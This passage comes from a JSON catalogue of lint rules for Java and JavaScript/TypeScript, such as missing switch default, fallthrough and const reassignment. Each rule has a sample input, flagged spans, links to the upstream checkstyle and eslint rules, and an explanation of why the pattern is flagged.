        "input": "class A {\n  String a = \"\\u0009\";\n  String b = \"\\011\";\n  String c = \"\\t\\u0041\";\n  char d = '\\u0027';\n  String e = \"\\134\";\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 15,
            "length": 6,
            "line": 2
          },
          {
            "column": 15,
            "length": 4,
            "line": 3
          },
          {
            "column": 13,
            "length": 6,
            "line": 5
          },
          {
            "column": 15,
            "length": 4,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "illegal-escape-text",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "IllegalTokenText",
          "note": "Only the special-escape message of the Google config.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/coding/illegaltokentext.html#IllegalTokenText"
        }
      ],
      "why": "These characters have their own escapes (`\\b`, `\\t`, `\\n`, `\\f`, `\\r`, `\\\"`, `\\'`, `\\\\`) which every reader knows. A unicode escape for a line feed is even translated before the lexer runs, so `\\u000a` in a string ends the line and does not compile.\n\nTo fix, use the special escape."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `switch` statement that has no `default` label.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  public boolean equals(Object o) {\n    return o == \"s\" || o.toString() != \"t\" || o.hashCode() == 1;\n  }\n\n  boolean ok(boolean done, String s) {\n    long big = 10l;\n    long fine = 10L;\n    if (done == true || done != false) {\n      return s.equals(\"a\");\n    }\n    while (done);\n    return false;\n  }\n\n  void f(int x) {\n    try {\n      g();\n    } catch (Exception e) {\n    }\n    try {\n      g();\n    } catch (Exception e) {\n      // ignored\n    }\n    switch (x) {\n      case 1:\n        g();\n    }\n    switch (x) {\n      case 1:\n        g();\n        break;\n      default:\n        break;\n    }\n  }\n}\n\nclass B {\n  public boolean equals(Object o) {\n    return true;\n  }\n\n  public int hashCode() {\n    return 1;\n  }\n}\n",
        "language": "java",
        "other_lines": [
          2,
          3,
          7,
          9,
          12,
          19
        ],
        "spans": [
          {
            "column": 5,
            "length": 6,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "missing-switch-default",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "MissingSwitchDefault",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/coding/missingswitchdefault.html#MissingSwitchDefault"
        }
      ],
      "why": "Without `default`, a value that no `case` names is ignored without notice, so a new enum constant or an unexpected input falls through the switch and the program goes on with the wrong state.\n\nTo fix, add a `default` that handles the case or throws."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `case` whose statements can reach the next `case` or `default`, and an empty one that is followed by a blank line, without a comment that says `falls through` before the next one (or at the end of its block). Cases that stack with no statement between them (`case 1: case 2: b();`) are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n    int a(int x) {\n        return 1;\n        b();\n        c();\n    }\n    void d(int[] xs, boolean y) {\n        for (int i : xs) { continue; e(); }\n        for (;;) { if (y) { break; } }\n        f();\n        outer: while (true) { while (y) { break outer; } }\n        g();\n        while (true) { }\n        h();\n    }\n    void i(int x) {\n        try { return; } finally { j(); }\n        k();\n    }\n    void l(int x) {\n        switch (x) {\n            case 1:\n                m();\n            case 2:\n                n();\n                break;\n            case 3:\n            case 4:\n                o();\n                // falls through\n            default:\n                p();\n        }\n    }\n}\n",
        "language": "java",
        "other_lines": [
          4,
          8,
          13,
          14,
          18
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 24
          }
        ]
      },
      "fix": null,
      "id": "no-fallthrough",
      "languages": [
        "java",
        "js",
        "php"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-fallthrough",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-fallthrough"
        }
      ],
      "why": "Execution that runs on from one case into the next is easily a forgotten `break`: the reader cannot tell it from an error, and the code of the second case then runs for the first value too.\n\nTo fix, end the case with `break` or `return`; if the fall-through is meant, write a `// falls through` comment."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an assignment to a parameter of a method. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  int f(int n, int m) {\n    n = 1;\n    n++;\n    int k = m;\n    k = 2;\n    return k + n;\n  }\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 1,
            "line": 3
          },
          {
            "column": 5,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "parameter-assignment",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "ParameterAssignment",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/coding/parameterassignment.html#ParameterAssignment"
        }
      ],
      "why": "A reassigned parameter means two things in one method: the value the caller passed, and the later one. A reader who sees the name expects the argument, and a later edit that reads the parameter gets the wrong value.\n\nTo fix, put the new value in a local variable."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `==` or `!=` with a string literal as an operand.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  public boolean equals(Object o) {\n    return o == \"s\" || o.toString() != \"t\" || o.hashCode() == 1;\n  }\n\n  boolean ok(boolean done, String s) {\n    long big = 10l;\n    long fine = 10L;\n    if (done == true || done != false) {\n      return s.equals(\"a\");\n    }\n    while (done);\n    return false;\n  }\n\n  void f(int x) {\n    try {\n      g();\n    } catch (Exception e) {\n    }\n    try {\n      g();\n    } catch (Exception e) {\n      // ignored\n    }\n    switch (x) {\n      case 1:\n        g();\n    }\n    switch (x) {\n      case 1:\n        g();\n        break;\n      default:\n        break;\n    }\n  }\n}\n\nclass B {\n  public boolean equals(Object o) {\n    return true;\n  }\n\n  public int hashCode() {\n    return 1;\n  }\n}\n",
        "language": "java",
        "other_lines": [
          2,
          7,
          9,
          12,
          19,
          26
        ],
        "spans": [
          {
            "column": 12,
            "length": 8,
            "line": 3
          },
          {
            "column": 24,
            "length": 19,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "string-literal-equality",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "StringLiteralEquality",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/coding/stringliteralequality.html#StringLiteralEquality"
        }
      ],
      "why": "`==` on strings compares references, not text. It works for two literals because they are interned and fails for a string that was built or read, so the code passes its tests and breaks on real data.\n\nTo fix, use `equals`: `\"a\".equals(s)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a line of a comment that starts with `todo` in any other case, or with `TODO` and no colon. Javadoc comments are not read.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  // TODO fix\n  // todo: lower\n  // TODO: good\n  // fix TODO later\n  // TODOS fix\n  /* line one\n     TODO second */\n  /**\n   * TODO javadoc\n   */\n  void f() {} // Todo trailing\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 6,
            "length": 4,
            "line": 2
          },
          {
            "column": 6,
            "length": 4,
            "line": 3
          },
          {
            "column": 6,
            "length": 4,
            "line": 8
          },
          {
            "column": 18,
            "length": 4,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "todo-comment",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "TodoComment",
          "note": "The Google format only, no option.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/misc/todocomment.html#TodoComment"
        },
        {
          "id": "TodoFormat",
          "note": "The check id of the Google TodoComment instance.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks.html"
        }
      ],
      "why": "A fixed form (`TODO:`) lets people and tools find the open items by one search. A variant spelled differently is not found.\n\nTo fix, write `TODO:`."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports an import whose name the file does not use. Imports with `*` are not checked, and a name in a doc comment counts as a use where the language has doc comments. No fix: removing an import can change which declaration a name means.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.io.*;\nimport static java.lang.Math.max;\nimport static java.lang.Math.min;\n\n/** Uses {@link Set}. */\nclass A {\n  List<String> xs;\n\n  int f() {\n    return max(1, 2);\n  }\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 2
          },
          {
            "column": 1,
            "length": 33,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "unused-import",
      "languages": [
        "java",
        "kotlin",
        "python"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint",
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UnusedImports",
          "note": "Names in Javadoc count as used; no option to turn that off.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/imports/unusedimports.html#UnusedImports"
        },
        {
          "id": "no-unused-imports",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#no-unused-imports"
        },
        {
          "id": "F401",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F401/"
        }
      ],
      "why": "An import that nothing uses is dead code. It misleads the reader about what the file depends on, and where an import runs the module, as in Python, it still costs the time to load it and fails where the module is not installed.\n\nTo fix, remove the import."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a local variable that is declared, and perhaps assigned, but never read. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import java.util.List;\n\nclass A {\n  int f(int a, List<String> xs) {\n    int unused = 1;\n    int written = 0;\n    written = 2;\n    int used = a;\n    int counter = 0;\n    counter++;\n    for (String s : xs) {\n      used += s.length();\n    }\n    for (int i = 0; i < 3; i++) { // keep\n    }\n    Runnable r = () -> {\n      int inner = 1;\n    };\n    return used;\n  }\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 6,
            "line": 5
          },
          {
            "column": 9,
            "length": 7,
            "line": 6
          },
          {
            "column": 14,
            "length": 1,
            "line": 16
          },
          {
            "column": 11,
            "length": 5,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "unused-local-variable",
      "languages": [
        "java",
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "UnusedLocalVariable",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/coding/unusedlocalvariable.html#UnusedLocalVariable"
        },
        {
          "id": "Lint/UselessAssignment",
          "note": "not an assignment that is overwritten before any read",
          "partial": true,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintuselessassignment"
        }
      ],
      "why": "A variable that is assigned and never read is dead code. It is a leftover of an earlier version, or a sign that the code was meant to use it (a misspelled name, a result that is forgotten), and it misleads the reader about what the code computes.\n\nTo fix, remove the variable, or use it."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an integer literal that ends in a lower case `l` (`10l`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  public boolean equals(Object o) {\n    return o == \"s\" || o.toString() != \"t\" || o.hashCode() == 1;\n  }\n\n  boolean ok(boolean done, String s) {\n    long big = 10l;\n    long fine = 10L;\n    if (done == true || done != false) {\n      return s.equals(\"a\");\n    }\n    while (done);\n    return false;\n  }\n\n  void f(int x) {\n    try {\n      g();\n    } catch (Exception e) {\n    }\n    try {\n      g();\n    } catch (Exception e) {\n      // ignored\n    }\n    switch (x) {\n      case 1:\n        g();\n    }\n    switch (x) {\n      case 1:\n        g();\n        break;\n      default:\n        break;\n    }\n  }\n}\n\nclass B {\n  public boolean equals(Object o) {\n    return true;\n  }\n\n  public int hashCode() {\n    return 1;\n  }\n}\n",
        "language": "java",
        "other_lines": [
          2,
          3,
          9,
          12,
          19,
          26
        ],
        "spans": [
          {
            "column": 16,
            "length": 3,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "upper-ell",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "UpperEll",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/misc/upperell.html#UpperEll"
        }
      ],
      "why": "A lower case `l` looks like the digit `1`, so `10l` reads as `101`. The upper case suffix cannot be mistaken.\n\nTo fix, write `10L`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an overload (a signature or function with the same name as an earlier one) with another member between it and the earlier overloads. It checks interface and class members, call and construct signatures, and function declarations.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "namespace N.M {}\ndeclare module \"x\" {}\ndeclare global {}\ndeclare namespace Q {}\nconst a = require(\"a\"), b = a.require(\"b\");\nimport c = require(\"c\");\nfunction local(require: (id: string) => void) { require(\"d\"); }\nconst self = this, { x } = this;\ny = this;\nclass K { new(): K; new(): number; new() {} }\ninterface I { new (): I; new (): number; constructor(): void }\nfunction f(): void;\nfunction g(): void {}\nfunction f(x: number): void;\nfunction f(x?: number) {}\nclass O { m(): void; n(): void; m(x: number): void; static m(): void; static m(x: number): void; }\ninterface P { (): void; a(): void; (x: number): void }\n",
        "language": "js",
        "other_lines": [
          1,
          4,
          5,
          6,
          8,
          9,
          10,
          11
        ],
        "spans": [
          {
            "column": 1,
            "length": 28,
            "line": 14
          },
          {
            "column": 33,
            "length": 19,
            "line": 16
          },
          {
            "column": 36,
            "length": 17,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "adjacent-overload-signatures",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "adjacent-overload-signatures",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/adjacent-overload-signatures"
        }
      ],
      "why": "Overloads are read together as one declaration with several shapes. When another member sits between them, a reader can miss one shape or take a later signature for an unrelated member.\n\nTo fix, move the overloads next to each other."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `Array<T>`, `ReadonlyArray<T>` and `Readonly<T[]>` written as generic types, each level of a nested one (`Array<Array<number>>` is two reports). The bare `Array` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let a: any = 1;\ntype A = {};\ntype B = {} & { a: 1 };\ninterface C {}\ninterface D extends A {}\ninterface E extends A, B {}\ninterface F { a: 1 }\ntype L = { a: 1 };\ntype M = A | B;\nlet g: Array<number>, h: ReadonlyArray<string>, i: Readonly<string[]>, j: Array<number, string>, k: number[];\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          4,
          5,
          8
        ],
        "spans": [
          {
            "column": 8,
            "length": 13,
            "line": 10
          },
          {
            "column": 26,
            "length": 21,
            "line": 10
          },
          {
            "column": 52,
            "length": 18,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "array-type",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "array-type",
          "note": "only the default `array` style (`default` and `readonly` options); a local type named `Array` is still reported",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/array-type"
        }
      ],
      "why": "Two spellings of one type make code harder to scan and search; the bracket form `T[]` is shorter and reads left to right.\n\nTo fix, write `T[]` and `readonly T[]`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `@ts-ignore` comment, a `@ts-nocheck` comment before the first statement, and a `@ts-expect-error` comment whose description is shorter than three characters (`// @ts-expect-error: the API types are wrong` is fine). Line and block comments are read. `@ts-check` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let a = 1;\n// @ts-ignore\na = \"\";\n// @ts-expect-error\na = \"\";\n// @ts-expect-error: not a number\na = \"\";\n/* @ts-ignore */\n/**\n * @ts-expect-error\n */\n// @ts-check\n// @ts-nocheck\n/// @ts-ignore\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 2
          },
          {
            "column": 1,
            "length": 19,
            "line": 4
          },
          {
            "column": 1,
            "length": 16,
            "line": 8
          },
          {
            "column": 1,
            "length": 14,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "ban-ts-comment",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "ban-ts-comment",
          "note": "the options (`minimumDescriptionLength`, per-directive settings, `descriptionFormat`) keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/ban-ts-comment"
        }
      ],
      "why": "`@ts-ignore` hides every type error on the next line and keeps hiding them after the code changes, so a later, real error on that line is never shown. `@ts-nocheck` turns checking off for the whole file. `@ts-expect-error` is safer, because the compiler complains when the error is gone, but without a reason nobody knows when it is safe to remove.\n\nTo fix, remove the error with a proper type, or use `@ts-expect-error` with a short reason."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a type alias of an object type (`type T = { a: 1 }`, also `{}` and an index signature type). A union, an intersection or any other type in an alias is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let a: any = 1;\ntype A = {};\ntype B = {} & { a: 1 };\ninterface C {}\ninterface D extends A {}\ninterface E extends A, B {}\ninterface F { a: 1 }\ntype L = { a: 1 };\ntype M = A | B;\nlet g: Array<number>, h: ReadonlyArray<string>, i: Readonly<string[]>, j: Array<number, string>, k: number[];\n",
        "language": "js",
        "other_lines": [
          1,
          4,
          5,
          10
        ],
        "spans": [
          {
            "column": 6,
            "length": 1,
            "line": 2
          },
          {
            "column": 6,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "consistent-type-definitions",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "consistent-type-definitions",
          "note": "only the default `interface` style",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/consistent-type-definitions"
        }
      ],
      "why": "An `interface` and an object type alias describe the same shape, but interfaces can be extended and merged, and the compiler reports their errors with the name of the interface instead of the expanded type. One form in a code base is easier to search.\n\nTo fix, write `interface T { a: 1 }`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an import in a TypeScript file whose names are all used only as types (also in `typeof` of a type) and is not written `import type`, a mixed import with such a name (the value names stay in an `import`), and the type form `import(\"a\").B`. A name that is not used at all is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import { A, B } from \"a\";\nimport C, { D } from \"c\";\nimport * as NS from \"ns\";\nimport E from \"e\";\nimport type { T } from \"t\";\nimport { type U, V } from \"u\";\nimport { W, Y } from \"w\";\nimport { X } from \"x\";\nimport Z from \"z\";\nexport { X };\nlet a: A, b: B, c: C, d: D, ns: NS.Thing, w: W = 1, q: typeof E, t: T, u: U, y: Y;\nconst v = V, z = Z;\ntype I = import(\"m\").I;\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 25,
            "line": 1
          },
          {
            "column": 1,
            "length": 25,
            "line": 2
          },
          {
            "column": 1,
            "length": 25,
            "line": 3
          },
          {
            "column": 1,
            "length": 18,
            "line": 4
          },
          {
            "column": 1,
            "length": 25,
            "line": 7
          },
          {
            "column": 10,
            "length": 13,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "consistent-type-imports",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "consistent-type-imports",
          "note": "the options keep their defaults (`prefer` type-imports, `fixStyle` separate-type-imports); `emitDecoratorMetadata` is not known, so a file with decorators is checked",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/consistent-type-imports"
        }
      ],
      "why": "An import used only for types is erased when the file is compiled, but the compiler cannot always know that, so a plain `import` may stay as a real load with side effects, and a cycle between files can appear that the types did not need. `import type` states it, so the import is always removed.\n\nTo fix, write `import type { T } from 'x'` or `import { type T } from 'x'`."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a getter written with `get name() {}` (in a class or an object literal) that does not return a value on every path: an empty body, a `return;` without a value, or an `if` without `else` that returns only in one branch. A getter that always throws is not reported, and neither is a `get` function given to `Object.defineProperty`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function f() { try { a(); } finally { return 1; } }\nfunction g() { try { a(); } finally { throw e; } }\nfunction h() { for (;;) { try { a(); } finally { break; } } }\nfunction i() { try { a(); } finally { for (;;) { break; } } }\nfunction j() { try { a(); } finally { function k() { return 1; } } }\nfunction l() { l: try { a(); } finally { break l; } }\nfunction m() { try { a(); } finally { m: { break m; } } }\nvar o = { get a() {}, get b() { return; }, get c() { return 1; }, get d() { if (x) return 1; }, get e() { throw 1; } };\nclass K { get a() {} static get b() { return 1 } get c() { while (true) {} } }\nfunction* p() {}\nfunction* q() { r(); }\nfunction* s() { yield 1; }\nvar t = { *u() { v(); } };\nclass L { *w() { x(); } async *y() { z(); } }\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          6,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 11,
            "length": 5,
            "line": 8
          },
          {
            "column": 33,
            "length": 7,
            "line": 8
          },
          {
            "column": 67,
            "length": 5,
            "line": 8
          },
          {
            "column": 11,
            "length": 5,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "getter-return",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "getter-return",
          "note": "the getters of Object.defineProperty and Reflect.defineProperty descriptors are not checked",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/getter-return"
        }
      ],
      "why": "A property read calls the getter and takes its result, so a path without a value makes the property `undefined`, usually by a forgotten `return` rather than by intent.\n\nTo fix, return a value on every path."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `new Promise(async ...)`: an `async` function (or arrow function) as the executor, with or without a second argument.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "debugger;\nwith (a) { b; }\nvar x; delete x; delete x.y; delete (x);\nswitch (a) { case 1: let b = 1; const c = 2; function d() {} class E {} var f = 1; break; default: { let g; } }\nnew Promise(async (resolve) => resolve()); new Promise(async function () {}); new Promise((resolve) => resolve()); new Promise();\na.hasOwnProperty(\"b\"); a?.isPrototypeOf(b); a[\"propertyIsEnumerable\"](\"c\"); Object.prototype.hasOwnProperty.call(a, \"b\"); a.hasOwnProperty;\nvar NaN, undefined, eval; function arguments() {} try {} catch (Infinity) {}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          7
        ],
        "spans": [
          {
            "column": 13,
            "length": 28,
            "line": 5
          },
          {
            "column": 56,
            "length": 20,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-async-promise-executor",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-async-promise-executor",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-async-promise-executor"
        }
      ],
      "why": "The `Promise` constructor ignores what its executor returns. An error thrown in an `async` executor rejects the promise the executor returned, which nobody holds, so the new promise never settles and the caller waits forever; the error shows up only as an unhandled rejection, if at all.\n\nTo fix, give the executor as a normal function and call `resolve` and `reject` yourself, or drop `new Promise` and write an `async` function that returns the value."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `let`, `const`, `using`, function or class declared directly in a `case` or `default` clause. A declaration inside a block in the clause (`case 1: { let a; }`) is not reported, and neither is `var`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "debugger;\nwith (a) { b; }\nvar x; delete x; delete x.y; delete (x);\nswitch (a) { case 1: let b = 1; const c = 2; function d() {} class E {} var f = 1; break; default: { let g; } }\nnew Promise(async (resolve) => resolve()); new Promise(async function () {}); new Promise((resolve) => resolve()); new Promise();\na.hasOwnProperty(\"b\"); a?.isPrototypeOf(b); a[\"propertyIsEnumerable\"](\"c\"); Object.prototype.hasOwnProperty.call(a, \"b\"); a.hasOwnProperty;\nvar NaN, undefined, eval; function arguments() {} try {} catch (Infinity) {}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          5,
          6,
          7
        ],
        "spans": [
          {
            "column": 22,
            "length": 10,
            "line": 4
          },
          {
            "column": 33,
            "length": 12,
            "line": 4
          },
          {
            "column": 46,
            "length": 15,
            "line": 4
          },
          {
            "column": 62,
            "length": 10,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-case-declarations",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-case-declarations",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-case-declarations"
        }
      ],
      "why": "A lexical declaration in a `case` clause is scoped to the whole `switch` block, not to the clause, so the other clauses can see the name and, when execution jumps over the declaration, reading it throws a `ReferenceError`. The code reads as if each clause had its own scope, and it does not.\n\nTo fix, put the body of the clause in braces: `case 1: { let b = 1; break; }`."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports an assignment to a class that is declared by name (`class K {} K = 1;`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import d, { n as m } from \"m\";\nimport * as ns from \"ns\";\nconst c = 1; c = 2; c += 1; c++; [c] = [1]; ({ c } = {}); for (c of []) {}\nclass K { static f() { K = 1; } } K = 2; (class L { f() { L = 1; } });\nfunction g() {} g = 3; (function h() { h = 1; });\nd = 1; m++; ns = 1; ns.x = 1; delete ns.y; ns.a.b = 1; [ns.z] = []; Object.assign(ns, {}); Object.keys(ns);\nconst o = { c }; const [q] = [c]; var v = 1; v = 2; let l = 1; l = 2;\n",
        "language": "js",
        "other_lines": [
          3,
          5,
          6
        ],
        "spans": [
          {
            "column": 24,
            "length": 1,
            "line": 4
          },
          {
            "column": 35,
            "length": 1,
            "line": 4
          },
          {
            "column": 59,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-class-assign",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-class-assign",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-class-assign"
        }
      ],
      "why": "A class declaration creates a binding, and replacing it means the name stops standing for the class: later code that uses the name (`new K()`) gets something else, and the class is no longer reachable by that name.\n\nTo fix, assign to another variable, or declare the class with `let K = class {}` where reassigning is intended."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a comparison with `-0` on either side of `==`, `!=`, `===`, `!==`, `<`, `<=`, `>` or `>=`. `Object.is(x, -0)` and a comparison with `+0` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a === NaN || NaN != a || a < Number.NaN || a === NaN2) {}\nswitch (NaN) { case NaN: break; case 1: }\ntypeof a === \"strnig\"; typeof a == \"object\"; \"number\" !== typeof a; typeof a === undefined; typeof a === typeof b;\nif (!a in b) {} if (!a instanceof B) {} if ((!a) in b) {} if (!(a in b)) {}\nif (x === -0) {} if (-0 < x) {} if (x === +0) {} if (x + -0 === y) {}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          4
        ],
        "spans": [
          {
            "column": 5,
            "length": 8,
            "line": 5
          },
          {
            "column": 22,
            "length": 6,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-compare-neg-zero",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-compare-neg-zero",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-compare-neg-zero"
        }
      ],
      "why": "`-0` and `0` are different values but compare as equal: `0 === -0` is `true`. So `x === -0` is also true for plain zero, and the check does not do what it reads like.\n\nTo fix, use `Object.is(x, -0)`, which tells them apart."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a write to a `const` variable after its declaration: an assignment, `++` or `--`, or a destructuring target (`[c] = [1]`). The initializer is not a write.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import d, { n as m } from \"m\";\nimport * as ns from \"ns\";\nconst c = 1; c = 2; c += 1; c++; [c] = [1]; ({ c } = {}); for (c of []) {}\nclass K { static f() { K = 1; } } K = 2; (class L { f() { L = 1; } });\nfunction g() {} g = 3; (function h() { h = 1; });\nd = 1; m++; ns = 1; ns.x = 1; delete ns.y; ns.a.b = 1; [ns.z] = []; Object.assign(ns, {}); Object.keys(ns);\nconst o = { c }; const [q] = [c]; var v = 1; v = 2; let l = 1; l = 2;\n",
        "language": "js",
        "other_lines": [
          4,
          5,
          6
        ],
        "spans": [
          {
            "column": 14,
            "length": 1,
            "line": 3
          },
          {
            "column": 21,
            "length": 1,
            "line": 3
          },
          {
            "column": 29,
            "length": 1,
            "line": 3
          },
          {
            "column": 35,
            "length": 1,
            "line": 3
          },
          {
            "column": 48,
            "length": 1,
            "line": 3
          },
          {
            "column": 64,
            "length": 1,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-const-assign",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
